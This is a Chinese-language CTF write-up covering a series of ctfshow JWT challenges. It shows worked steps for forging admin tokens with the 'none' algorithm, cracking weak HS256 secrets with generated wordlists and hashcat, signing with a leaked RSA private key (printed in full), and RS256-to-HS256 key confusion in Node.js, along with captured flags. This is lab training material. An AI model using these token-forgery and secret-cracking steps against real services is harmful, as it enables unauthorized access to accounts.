知识
jwt格式如下:
header.payload.signature
Header 通常由两部分组成:token类型和哈希算法,例如:
{"typ": "JWT", "alg": "HS256"}
Payload 负载,存放有效信息的地方,比如用户ID,用户名等。它也可以存放私有数据。
Signature 签名,是对前两部分数据签名,防止数据篡改。它由 header 和 payload 使用算法生成,例如 HMAC-SHA256。
标准中注册的声明 (建议但不强制使用) # iss: jwt签发者 # sub: jwt所面向的用户 # aud: 接收jwt的一方 # exp: jwt的过期时间,这个过期时间必须要大于签发时间 # nbf: 定义在什么时间之前,该jwt都是不可用的 # iat: jwt的签发时间 # jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
web345
源代码/admin
要注意使用 url 访问网页时
/admin 表示访问 admin.php 文件
/admin/ 表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/
cookie中auth:
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTUyOTA0NTAsImV4cCI6MTY5NTI5NzY1MCwibmJmIjoxNjk1MjkwNDUwLCJzdWIiOiJ1c2VyIiwianRpIjoiODQ1YTFjN2Q1ODY5MGQ5MGJiZWJkZjAxNWYxZWFmOTQifV0
https://jwt.io/ 直接在线解密:
alg显示没有加密,那就直接将sub中改为admin,再base64加密即可。
前部分:
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.WwogIHsKICAgICJpc3MiOiAiYWRtaW4iLAogICAgImlhdCI6IDE2OTUyOTExOTYsCiAgICAiZXhwIjogMTY5NTI5ODM5NiwKICAgICJuYmYiOiAxNjk1MjkxMTk2LAogICAgInN1YiI6ICJhZG1pbiIsCiAgICAianRpIjogIjk1Y2U2ZWE1ZmI1MTI0MzQxNzk5YTEwZmM5ZGM3ZTAyIgogIH0KXQ==
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0
如果要有等号需要去掉等号。
这个上面怎么都传不进,看了视频发现,把jwt那个直接在hackbar里面base64decode一下,修改为admin,再base64加密,访问/admin/
即可了:
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTUyOTIxODksImV4cCI6MTY5NTI5OTM4OSwibmJmIjoxNjk1MjkyMTg5LCJzdWIiOiJhZG1pbiIsImp0aSI6ImNmOGI3YWRmYmU1YTQwZWM1MTVjM2RiZWYxN2Y3MGE3In1d
web346
解析发现算法为 HS256 ,但是可以通过将算法设定为None来绕过签名。
从上到下依次为修改算法为None, sub改为admin,然后删除签名(signature)。
注意保留jwt最后面的.
GET /admin/ HTTP/1.1
Host: 82a441b0-3aca-4ca5-a55c-6d56aa369491.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: auth=eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNTA0NSwiZXhwIjoxNjk4ODMyMjQ1LCJuYmYiOjE2OTg4MjUwNDUsInN1YiI6ImFkbWluIiwianRpIjoiYjIwYmEzMzBiZDM4MDA1ZWFkNzVlOTQ5Y2U3ODJjZmEifQ.
Connection: close
ctfshow{b94918f8-a660-4eef-91d3-04e17e3f78da}
web347
这关无法使用绕过,但是它提示说密钥是一个弱口令。
编写一个纯数字字典,如果不行的话再用别的:
with open("dict.txt", "a+") as f:
for i in range(0, 1000000):
f.write(str(i) + '\n')
然后使用hashcat爆破一下密钥:
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNTI4MSwiZXhwIjoxNjk4ODMyNDgxLCJuYmYiOjE2OTg4MjUyODEsInN1YiI6InVzZXIiLCJqdGkiOiIzMTYzMTM4YTNkZDFkMjljNWFmMTRlZmU5MTRlYzBmOCJ9.OAWm4kUqDv4Yc6VHgs2UcYgEw-RspCJuZdtAOv5OFh4 ./dict.txt
密码为123456,然后我们自定义一下:
但是bp这个不可以选择密码,还得用jwt.io来搞:(记得修改sub为admin)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNjQ4NywiZXhwIjoxNjk4ODMzNjg3LCJuYmYiOjE2OTg4MjY0ODcsInN1YiI6ImFkbWluIiwianRpIjoiNzc0ZjIyNzgzYTJkMzJiYzgyYjhlZDk4YzVkY2FlNDAifQ.aBkzVchQIdrXUdH6HLcEc5Jm-Nq2ve63x7LnsauRkJc
ctfshow{a3bd8f39-f138-4ec8-a59a-bad1bfeb2591}
web348
爆破,估计有字符了,那就重新再写一个字典。
示例代码如下:
import itertools
# key = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[]^_`{|}~'
key = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
with open("dict_alphabet.txt", "a+") as f:
passwords = itertools.product(key, repeat=4)
for i in passwords:
f.write("".join(i))
f.write("\n")
print("generate success")
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODg0MTE5MCwiZXhwIjoxNjk4ODQ4MzkwLCJuYmYiOjE2OTg4NDExOTAsInN1YiI6InVzZXIiLCJqdGkiOiJkNTY2Y2I1ZWExNWI0ODRmNzc5ZTBjMDE1ZjEzNTlkMCJ9.5BTUbhRJdFTlDaVlm3Sco8YhpWnkZVAkl30ISvvXjAg dict_alphabet.txt
密码为aaab 用相同操作进行修改内容即可。ctfshow{6e11c2c1-073f-48d8-8779-e0fae7897081}
web349
有个js页面:
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
信息泄露。
注意这个public是不出现在路由也就是xxxx.com/private.key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----
如何做nodejs
https://www.bilibili.com/video/BV1vU4y187HE?p=5&vd_source=9c03c9cbee12e68c0989088a5b2ff127
目标目录下运行
npx express-generator
替换routes/index.js下的内容
将公钥和私钥放入对应位置.
之前没下过包的需要npm install 一下对应包,比如那些require的内容。
其中fs和jwt需要申明一下变量。jwt(是jsonwebtoken)
这个最后我还是报错,用cyberchef搞得:
ctfshow{f7a45bf3-52c9-4bb7-87bc-ff0c2213a439}
web250
这个题也考JWT的三种常见的攻击方式之一把非对称算法 RS256 改为对称算法 HS256,用泄露的公钥签名数据,服务器尝试用公钥作为 secret 验证签名。也就是CVE-2016-5431漏洞
给定token和key检查是否valid,同时如果有callback将会调用
所以合法的token,在于签名是否合法,而并不取决于之前的签名采用什么样的算法,因为使用何种算法的信息也存在于给定的jwt中
所以只要将公钥修改为对称,然后伪造session
这里想要绕过就只能使用nodejs搭建来做了:
router.get('/', function(req, res, next) {
const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
});
注意将公钥文件放在根目录下。